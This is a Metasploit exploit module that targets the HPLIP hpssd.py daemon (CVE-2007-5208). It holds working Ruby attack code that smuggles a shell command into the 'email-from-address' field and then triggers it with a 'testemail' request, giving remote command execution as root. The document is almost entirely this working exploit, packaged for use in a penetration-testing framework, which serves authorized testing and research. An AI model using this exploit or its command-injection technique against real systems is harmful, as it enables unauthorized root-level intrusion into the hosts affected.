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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'HPLIP hpssd.py From Address Arbitrary Command Execution',
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        'Description' => %q{
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          This module exploits a command execution vulnerable in the hpssd.py
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          daemon of the Hewlett-Packard Linux Imaging and Printing Project.
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          According to MITRE, versions 1.x and 2.x before 2.7.10 are vulnerable.
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          This module was written and tested using the Fedora 6 Linux distribution.
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          On the test system, the daemon listens on localhost only and runs with
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          root privileges. Although the configuration shows the daemon is to
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          listen on port 2207, it actually listens on a dynamic port.
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          NOTE: If the target system does not have a 'sendmail' command installed,
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          this vulnerability cannot be exploited.
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        },
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        'Author' => [ 'jduck' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2007-5208' ],
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          [ 'OSVDB', '41693' ],
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          [ 'BID', '26054' ],
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          [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=319921' ],
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          [ 'URL', 'https://bugzilla.redhat.com/attachment.cgi?id=217201&action=edit' ]
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        ],
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        'Platform' => ['unix'],
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        'Arch' => ARCH_CMD,
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        'Privileged' => true,
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        'Payload' => {
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          'Space' => 1024,
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          'DisableNops' => true,
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          'Compat' =>
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                        {
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                          'PayloadType' => 'cmd',
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                          # *_perl and *_ruby work if they are installed
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                          # inetd isn't used on FC6/7 (xinetd is)
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                          # netcat doesn't have -e by default
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                        }
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        },
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        'Targets' => [
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          [ 'Automatic (hplip-1.6.7-4.i386.rpm)', {} ]
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        ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2007-10-04',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(2207),
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      ]
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    )
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  end
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  def exploit
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    connect
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    # cmd = "nohup " + payload.encoded
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    cmd = payload.encoded
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    username = 'root'
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    toaddr = 'nosuchuser'
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    # first setalerts
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    print_status("Sending 'setalerts' request with encoded command line...")
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    msg = "username=#{username}\n" +
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          "email-alerts=1\n" +
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          # "email-from-address=`#{cmd}`\n" +
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          "email-from-address=x;#{cmd};\n" +
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          "email-to-addresses=#{toaddr}\n" +
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          "msg=setalerts\n"
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    sock.put(msg)
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    # next, the test email command
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    print_status("Sending 'testemail' request to trigger execution...")
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    msg = "msg=testemail\n"
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    sock.put(msg)
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  end
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end
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